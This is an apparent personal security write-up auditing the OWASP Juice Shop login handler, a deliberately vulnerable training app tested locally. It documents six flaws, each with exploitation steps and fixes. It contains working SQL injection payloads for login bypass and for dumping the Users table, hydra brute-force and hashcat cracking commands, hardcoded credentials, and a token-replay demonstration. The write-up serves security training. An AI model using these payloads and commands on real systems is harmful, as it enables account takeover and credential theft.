Security Research — Write-Up

OWASP Juice Shop
Login Security Audit

A full manual penetration test of the Juice Shop authentication endpoint — identifying, exploiting, and remediating six real-world vulnerabilities in the login.ts handler.

1 Critical 3 High 2 Medium Node.js / TypeScript Sequelize ORM JWT OWASP Top 10

Introduction

OWASP Juice Shop is an intentionally vulnerable web application designed for security training. This write-up focuses exclusively on the login handler (routes/login.ts), which contains six distinct security vulnerabilities ranging from a critical SQL injection to authentication design flaws that compound one another in real attack chains.

Each vulnerability below is documented with the exact vulnerable source code, a tested exploitation method, the underlying attack class, and a corrected implementation.

⚠️

All testing was performed against a local Juice Shop instance. Never test against systems you do not own or have explicit written permission to test.

🎯 Target File

The full source of the audited file, for reference:

import { type Request, type Response, type NextFunction } from 'express'
import config from 'config'
import * as challengeUtils from '../lib/challengeUtils'
import { challenges, users } from '../data/datacache'
import { BasketModel } from '../models/basket'
import * as security from '../lib/insecurity'
import { UserModel } from '../models/user'
import * as models from '../models/index'
import { type User } from '../data/types'
import * as utils from '../lib/utils'

export function login () {
  function afterLogin (user: { data: User, bid: number }, res: Response, next: NextFunction) {
    verifyPostLoginChallenges(user)
    BasketModel.findOrCreate({ where: { UserId: user.data.id } })
      .then(([basket]: [BasketModel, boolean]) => {
        const token = security.authorize(user)
        user.bid = basket.id
        security.authenticatedUsers.put(token, user)
        res.json({ authentication: { token, bid: basket.id, umail: user.data.email } })
      }).catch((error: Error) => { next(error) })
  }

  return (req: Request, res: Response, next: NextFunction) => {
    verifyPreLoginChallenges(req)
    models.sequelize.query(`SELECT * FROM Users WHERE email = '${req.body.email || ''}' AND password = '${security.hash(req.body.password || '')}' AND deletedAt IS NULL`, { model: UserModel, plain: true })
      .then((authenticatedUser) => {
        const user = utils.queryResultToJson(authenticatedUser)
        if (user.data?.id && user.data.totpSecret !== '') {
          res.status(401).json({ status: 'totp_token_required', data: { tmpToken: security.authorize({ userId: user.data.id, type: 'password_valid_needs_second_factor_token' }) } })
        } else if (user.data?.id) {
          afterLogin(user, res, next)
        } else {
          res.status(401).send(res.__('Invalid email or password.'))
        }
      }).catch((error: Error) => { next(error) })
  }

  function verifyPreLoginChallenges (req: Request) {
    challengeUtils.solveIf(challenges.loginSupportChallenge, () => { return req.body.email === 'support@' + config.get('application.domain') && req.body.password === 'J6aVjTgOpRs@?5l!Zkq2AYnCE@RF$P' })
    challengeUtils.solveIf(challenges.loginRapperChallenge,  () => { return req.body.email === 'mc.safesearch@' + config.get('application.domain') && req.body.password === 'Mr. N00dles' })
    challengeUtils.solveIf(challenges.loginAmyChallenge,     () => { return req.body.email === 'amy@' + config.get('application.domain') && req.body.password === 'K1f.....................' })
    challengeUtils.solveIf(challenges.oauthUserPasswordChallenge, () => { return req.body.email === 'bjoern.kimminich@gmail.com' && req.body.password === 'bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=' })
    challengeUtils.solveIf(challenges.exposedCredentialsChallenge, () => { return req.body.email === 'testing@' + config.get('application.domain') && req.body.password === 'IamUsedForTesting' })
  }

  function verifyPostLoginChallenges (user: { data: User }) {
    challengeUtils.solveIf(challenges.loginAdminChallenge, () => { return user.data.id === users.admin.id })
    ...
  }
}

📋 Findings Summary

# Vulnerability Severity OWASP Category Location
01 SQL Injection Critical A03 Injection sequelize.query()
02 Hardcoded Credentials High A02 Cryptographic Failures verifyPreLoginChallenges()
03 No Rate Limiting High A07 Identification & Auth. Failures login endpoint (global)
04 Weak Password Hashing (MD5) High A02 Cryptographic Failures security.hash()
05 Username Enumeration Medium A07 Identification & Auth. Failures response logic / timing
06 JWT Never Invalidated Medium A07 Identification & Auth. Failures authenticatedUsers.put()
01

SQL Injection

Unsanitised user input interpolated into a raw SQL query

Critical

The login handler builds its SQL query by directly concatenating req.body.email and the hashed password into a template literal. An attacker controls the string that gets passed to the database engine, allowing them to manipulate the query logic entirely — bypassing authentication without knowing any password.

Vulnerable Code

// req.body.email is user-controlled input — never safe to embed directly
models.sequelize.query(
  `SELECT * FROM Users WHERE email = '${req.body.email || ''}' AND password = '${security.hash(req.body.password || '')}' AND deletedAt IS NULL`,
  { model: UserModel, plain: true }
)

How to Exploit

The first step is to inspect the application's source code in order to understand how authentication is implemented and to identify any exposed user information. During this analysis, we can observe patterns in email formatting (e.g. user@juice-sh.op) and potentially discover valid or test accounts already present in the system. This allows us to target specific users more effectively — for example, attempting authentication as the admin user using admin@juice-sh.op.

Open Burp Suite, intercept the POST request to /rest/user/login, and modify the email field. The injected payload terminates the string and comments out the password check entirely.

  1. Open the Juice Shop login page and start Burp Suite's Intercept.
  2. Enter any value in the email and password fields and click Login.
  3. In Burp Intercept, modify the email body parameter to the payload below.
  4. Forward the request. The application logs you in as the admin user.
# Payload: terminates the email string, injects OR true, comments out password check
email=admin@juice-sh.op'--&password=anything

# Resulting SQL sent to the database:
SELECT * FROM Users WHERE email = 'admin@juice-sh.op'--' AND password = '...' AND deletedAt IS NULL
# Everything after -- is ignored by SQLite. Query becomes:
SELECT * FROM Users WHERE email = 'admin@juice-sh.op'
📸 Screenshot — Burp Suite intercept showing the payload
sqli-burp-intercept.png
📸 Screenshot — Juice Shop responding with a valid JWT token after the SQL injection
sqli-response-token.png

With a valid email pattern identified, we can craft a more targeted SQL injection payload and test it using Burp Suite. However, even without any prior knowledge of valid emails, authentication can still be bypassed using a boolean-based SQL injection such as ' OR '1'='1'--, which forces the query to return a valid user regardless of the provided credentials:

email=' OR '1'='1'--&password=anything

# Resulting SQL:
SELECT * FROM Users WHERE email = '' OR '1'='1'
# Returns the first user in the database (typically the admin)
📸 Screenshot — Juice Shop login form with a boolean-based SQL injection
login-sql-inj.png
📸 Screenshot — Juice Shop successful login after boolean-based SQL injection
login-sql-inj-scc.png

How to Fix

Replace the raw string query with Sequelize's parameterised findOne(). The ORM handles all escaping automatically — user input is never concatenated into SQL.

❌ Vulnerable
models.sequelize.query(
  `SELECT * FROM Users WHERE email = '${req.body.email || ''}'
   AND password = '${security.hash(req.body.password || '')}'
   AND deletedAt IS NULL`,
  { model: UserModel, plain: true }
)
✅ Fixed
UserModel.findOne({
  where: {
    email: req.body.email,
    password: security.hash(
      req.body.password || ''
    ),
    deletedAt: null
  }
})
💡

Sequelize's where clause passes values as bound parameters to the underlying driver. User input is treated as data, never as SQL syntax.

02

Hardcoded Credentials in Source Code

Plaintext passwords committed to the repository

High

The verifyPreLoginChallenges() function contains multiple real user passwords written in plaintext directly in the source code. Anyone with access to the repository — including any contributor, contractor, or attacker who obtains the source — immediately has valid credentials for multiple accounts.

Vulnerable Code

function verifyPreLoginChallenges (req: Request) {
  challengeUtils.solveIf(challenges.loginSupportChallenge, () => {
    return req.body.email    === 'support@juice-sh.op'
        && req.body.password === 'J6aVjTgOpRs@?5l!Zkq2AYnCE@RF$P'  // ❌ plaintext in source
  })
  challengeUtils.solveIf(challenges.loginRapperChallenge, () => {
    return req.body.email    === 'mc.safesearch@juice-sh.op'
        && req.body.password === 'Mr. N00dles'                        // ❌ plaintext in source
  })
  challengeUtils.solveIf(challenges.loginAmyChallenge, () => {
    return req.body.email    === 'amy@juice-sh.op'
        && req.body.password === 'K1f.....................'             // ❌ plaintext in source
  })
  challengeUtils.solveIf(challenges.exposedCredentialsChallenge, () => {
    return req.body.email    === 'testing@juice-sh.op'
        && req.body.password === 'IamUsedForTesting'                  // ❌ plaintext in source
  })
}

How to Exploit

No tooling required. Clone or browse the repository and use the credentials directly against the login endpoint.

  1. Navigate to the public GitHub repository or obtain the source through any means (leaked archive, insider access, decompiled bundle).
  2. Search the source for the keyword solveIf or simply grep for password strings.
  3. Use the extracted credentials directly in the login form or via curl.
curl -s -X POST http://localhost:3000/rest/user/login \
  -H "Content-Type: application/json" \
  -d '{"email":"support@juice-sh.op","password":"J6aVjTgOpRs@?5l!Zkq2AYnCE@RF$P"}'

# Response — valid token returned immediately
{"authentication":{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6NiwidXNlcm5hbWUiOiIiLCJlbWFpbCI6InN1cHBvcnRAanVpY2Utc2gub3AiLCJwYXNzd29yZCI6IjM4Njk0MzNkNzRlM2QwYzg2ZmQyNTU2MmY4MzZiYzgyIiwicm9sZSI6ImFkbWluIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IjEyNy4wLjAuMSIsInByb2ZpbGVJbWFnZSI6ImFzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdEFkbWluLnBuZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0wNC0xNSAxOTowMToyMC4zOTkgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0wNC0xNSAxOTozMDoyNi42ODEgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzc2Mjg0NTY0fQ.ct4ojpRW96-aUFzECvx1_npZ4W-VgbkxxTx8O7jVHNaRA3ARZF74FrJWPwTkkmqBUnM9gJIAc7SaPs32pwsZA09WIZSuu82z1GzPoyEXrJYLjCXmyRAipSvVNKTXdkRFyiTRkCTbLDXEiJlhA5PKpy9_vq80dETMb3-we1VpUOo","bid":6,"umail":"support@juice-sh.op"}} 
📸 Screenshot — Login form with hardcoded credentials found in the source file
login-stored.png
📸 Screenshot — successful login as support account using the hardcoded password
login-stored-scc.png

How to Fix

Remove all plaintext credentials from source code. Load secrets exclusively from environment variables or a secrets manager at runtime. In production, these challenge verifications should be removed entirely.

❌ Vulnerable
challengeUtils.solveIf(
  challenges.loginSupportChallenge,
  () => {
    return req.body.password ===
      'J6aVjTgOpRs@?5l!Zkq2AYnCE@RF$P'
  }
)
✅ Fixed
challengeUtils.solveIf(
  challenges.loginSupportChallenge,
  () => {
    return req.body.password ===
      process.env.SUPPORT_ACCOUNT_PASSWORD
  }
)
// Loaded from .env / vault at runtime
// Never committed to the repository
03

No Rate Limiting / Brute Force Protection

Login endpoint accepts unlimited requests with no throttling

High

The login endpoint does not implement rate limiting, account lockout, or any form of automated abuse prevention. This allows an attacker to perform unlimited authentication attempts against a valid user account without restriction, making brute force and credential stuffing attacks feasible at scale.

Vulnerable Code

// In app.ts / server setup — the route is registered with no rate limiting:
app.post('/rest/user/login', login())
// ❌ No express-rate-limit middleware
// ❌ No account lockout after repeated failures
// ❌ No CAPTCHA or challenge mechanism

How to Exploit

The attack requires a valid email address, which in this case was obtained from hardcoded credentials identified in the application source code during a previous vulnerability analysis.

With a valid username identified, automated tools such as Hydra or Burp Suite Intruder can be used to test large password lists against the login endpoint. Due to the absence of rate limiting, the application does not introduce delays, blocking, or progressive defenses.

  1. Confirm a valid email address (previously extracted from hardcoded credentials in the source code).
  2. Prepare a password wordlist such as rockyou.txt.
  3. Run automated login attempts against /rest/user/login.
  4. Observe that the server continues to accept requests without lockout, delay, or throttling mechanisms.
hydra -l testing@juice-sh.op \
      -P /usr/share/wordlists/rockyou.txt \
      -s 3000 \
      localhost \
      http-post-form \
      "/rest/user/login:email=^USER^&password=^PASS^:Invalid email or password"
📸 Screenshot — Hydra output demonstrating successful password discovery
ratelimit-hydra-success.png

Burp Suite Intruder alternative:

  1. Capture POST /rest/user/login request
  2. Send to Intruder and mark password parameter
  3. Load wordlist (e.g. rockyou.txt)
  4. Observe responses — no 429 / lockout behavior is triggered
📸 Screenshot — Burp Suite Intruder attacking login endpoint without rate limiting
ratelimit-burp-intruder.png

How to Fix

Implement rate limiting on authentication endpoints using middleware such as express-rate-limit, combined with per-account failed login tracking and optional CAPTCHA challenges after repeated failures.

❌ Vulnerable
// No protection applied
app.post('/rest/user/login', login())
✅ Fixed
import rateLimit from 'express-rate-limit'

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 10,
  message: 'Too many login attempts',
  standardHeaders: true,
})

app.post(
  '/rest/user/login',
  loginLimiter,
  login()
)
04

Weak Password Hashing (MD5)

security.hash() uses unsalted MD5 — instantly crackable when extracted

High

The security.hash() function in OWASP Juice Shop uses plain MD5 without salt or work factor. This makes password hashes extremely easy to crack once they are obtained from the database.

Vulnerable Code

// The hash function used for password storage and login
export const hash = (data: string) => crypto.createHash('md5').update(data).digest('hex')
// Used during login (in login.ts):
... AND password = '${security.hash(req.body.password || '')}' ...

How to Discover the Hashes

The password hashes can be extracted using the same SQL injection vulnerability in the product search endpoint (/rest/products/search).

  1. Open the Juice Shop homepage and go to the search bar.
  2. Use the following payload to dump the Users table via UNION-based SQL injection:
http://localhost:3000/rest/products/search?q=qwert')) UNION SELECT id,email,password,NULL,NULL,NULL,NULL,NULL,NULL FROM Users--

After submitting the payload, the JSON response (or the rendered search results) will contain extra entries where the email and password fields appear. The password column contains the unsalted MD5 hashes for all users, including the administrator.

📸 Screenshot — Extracted Password Hashes via SQLi
SQL Injection dumping MD5 password hashes

How to Exploit (Cracking the Hashes)

Once the hashes are extracted, they can be cracked instantly because they are unsalted MD5.

  1. Copy the MD5 hashes from the password column (e.g. 0192023a7bbd73250516f069df18b500 for the admin account).
  2. Use hashcat (or John the Ripper / online crackers) in raw MD5 mode:
# Example hash from admin@juice-sh.op
0192023a7bbd73250516f069df18b500
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force
# Result (cracked in < 1 second):
0192023a7bbd73250516f069df18b500:admin123
📸 Screenshot — hashcat successfully cracking the MD5 hash to "admin123"
hashcat output showing cracked password

Why This Is Dangerous

  • No salt → identical passwords produce identical hashes
  • No work factor → billions of guesses per second on modern hardware
  • Combined with SQL injection → full account takeover is trivial

How to Fix

Replace the insecure MD5 hashing with a modern, adaptive password hashing algorithm such as bcrypt, Argon2, or scrypt.

❌ Vulnerable
// lib/insecurity.ts
export const hash = (data: string) =>
  crypto
    .createHash('md5')
    .update(data)
    .digest('hex')
// No salt. No work factor.
// Crackable in milliseconds.
✅ Fixed
import bcrypt from 'bcrypt'

// On user registration:
export const hashPassword = async (pw: string) =>
  bcrypt.hash(pw, 12)

// On login:
export const verifyPassword = async (plain: string, stored: string) =>
  bcrypt.compare(plain, stored)
05

Username / Email Enumeration

Response timing and error messages reveal valid accounts

Medium

The login handler has two enumeration vectors: the error message is identical for both cases (Invalid email or password), which is good — but the response time differs depending on whether the email exists. When an email is not found the query returns immediately; when it is found the password hash comparison runs, adding measurable latency. An attacker can use timing to build a list of valid email addresses.

Vulnerable Code

.then((authenticatedUser) => {
  const user = utils.queryResultToJson(authenticatedUser)
  if (user.data?.id && user.data.totpSecret !== '') {
    // ← Path A: email found, TOTP required — longer path
    res.status(401).json({ status: 'totp_token_required', ... })
  } else if (user.data?.id) {
    // ← Path B: email found, no TOTP — afterLogin() runs
    afterLogin(user, res, next)
  } else {
    // ← Path C: email NOT found — immediate short-circuit
    res.status(401).send(res.__('Invalid email or password.'))
    // ❌ Timing difference between Path C and Paths A/B leaks email validity
  }
})

How to Exploit

Use Burp Suite Intruder with a list of candidate email addresses. Measure response times — requests with valid emails will consistently take longer than invalid ones.

  1. Capture a login POST request and send to Burp Intruder.
  2. Set the email parameter as the payload position with a list of candidate addresses.
  3. Run the attack and sort results by Response Received time in the results tab.
  4. Valid emails will cluster around a higher response time than invalid ones.
# Invalid email — query finds nothing, returns fast
POST /rest/user/login  →  401  |  Response time: ~12ms  (email not found)

# Valid email — hash comparison runs, slightly slower
POST /rest/user/login  →  401  |  Response time: ~38ms  (email found, wrong password)

How to Fix

Always run the password comparison regardless of whether the email was found, using a pre-computed dummy hash. This makes the response time constant for both valid and invalid email addresses.

❌ Vulnerable
// Short-circuits immediately if email not found
// — measurable timing difference
.then((authenticatedUser) => {
  const user = queryResultToJson(authenticatedUser)
  if (user.data?.id) {
    afterLogin(user, res, next)
  } else {
    res.status(401).send('Invalid email or password.')
    // ❌ Skips hash work — returns faster
  }
})
✅ Fixed
// Always run bcrypt.compare — constant time
const DUMMY_HASH = await bcrypt.hash('dummy', 12)

.then(async (authenticatedUser) => {
  const user = queryResultToJson(authenticatedUser)
  const storedHash = user.data?.password ?? DUMMY_HASH
  const valid = await bcrypt.compare(
    req.body.password || '', storedHash
  )
  if (valid && user.data?.id) {
    afterLogin(user, res, next)
  } else {
    // Same code path — same timing
    res.status(401).send('Invalid email or password.')
  }
})
06

JWT Tokens Never Invalidated

Tokens remain valid after logout — no server-side revocation

Medium

After a successful login, the application issues a JWT and stores it in an in-memory map (security.authenticatedUsers). There is no expiry enforcement on this map, and the logout endpoint removes the token from client storage but does not add it to a server-side denylist. An attacker who captures a token (via XSS, network sniffing, or log exposure) can reuse it indefinitely — even after the user has logged out.

Vulnerable Code

function afterLogin (user, res, next) {
  BasketModel.findOrCreate({ where: { UserId: user.data.id } })
    .then(([basket]) => {
      const token = security.authorize(user)
      user.bid = basket.id
      security.authenticatedUsers.put(token, user)
      // ❌ Token stored in-memory with no TTL
      // ❌ No mechanism to invalidate after logout
      // ❌ Captured token remains valid until server restarts
      res.json({ authentication: { token, bid: basket.id, umail: user.data.email } })
    })
}

How to Exploit

Capture a valid JWT token (e.g. from browser DevTools or an intercepted request), log the user out through the UI, then replay the token against authenticated endpoints.

  1. Log in and copy the JWT from the response or from localStorage in browser DevTools.
  2. Log out of the application through the normal UI.
  3. Send an authenticated API request using the old token — it will still succeed.
# 1. Capture token at login
TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."

# 2. Log out (client-side only, token not server-invalidated)

# 3. Reuse the token — still accepted
curl -H "Authorization: Bearer $TOKEN" \
     http://localhost:3000/api/Users/1

{"status":"success","data":{"id":1,"email":"admin@juice-sh.op",...}}
# ❌ Server accepted the "logged-out" token
📸 Screenshot — Replaying a logged-out JWT token and receiving a successful authenticated response
jwt-replay-success.png

How to Fix

Implement a token denylist (backed by Redis for production) and set a short exp claim. On logout, add the token's JTI (JWT ID) to the denylist and reject it on all subsequent requests.

❌ Vulnerable
// Token issued with no expiry enforcement
const token = security.authorize(user)
security.authenticatedUsers.put(token, user)

// Logout just deletes the client cookie —
// no server-side invalidation
✅ Fixed
// Issue short-lived JWT with jti claim
const jti = crypto.randomUUID()
const token = jwt.sign(
  { userId: user.data.id, jti },
  JWT_SECRET,
  { expiresIn: '15m' }
)

// On logout — add jti to Redis denylist
await redis.set(jti, '1', 'EX', 900)

// On every authenticated request — check denylist
const { jti } = jwt.verify(token, JWT_SECRET)
if (await redis.get(jti)) {
  return res.status(401).json({ error: 'Token revoked' })
}

Real-World Attack Chain

These vulnerabilities do not exist in isolation. A real attacker would chain them together in sequence:

  1. SQL Injection — Bypass authentication entirely, log in as admin without any password.
  2. SQL Injection (data exfiltration) — Dump the entire Users table, including all MD5 password hashes and email addresses.
  3. Weak Hashing — Crack the dumped MD5 hashes offline with hashcat in seconds. Recover all user passwords.
  4. Credential Stuffing — Use the recovered plaintext passwords against other services (Gmail, LinkedIn) — most users reuse passwords.
  5. Hardcoded Credentials — Log in as privileged accounts (support, testing) directly from source code without any cracking needed.
  6. JWT Replay — After establishing a session, keep the token indefinitely — no logout can revoke it.
🔥

Vulnerability 01 (SQL Injection) alone compromises the entire application. The remaining five vulnerabilities remove every safety net that might otherwise limit the blast radius of a successful attack.

Remediation Checklist

🧠 What I Learned


📁  github.com/MarcoAbreu2002  ·  OWASP Juice Shop — Login Security Audit © 2026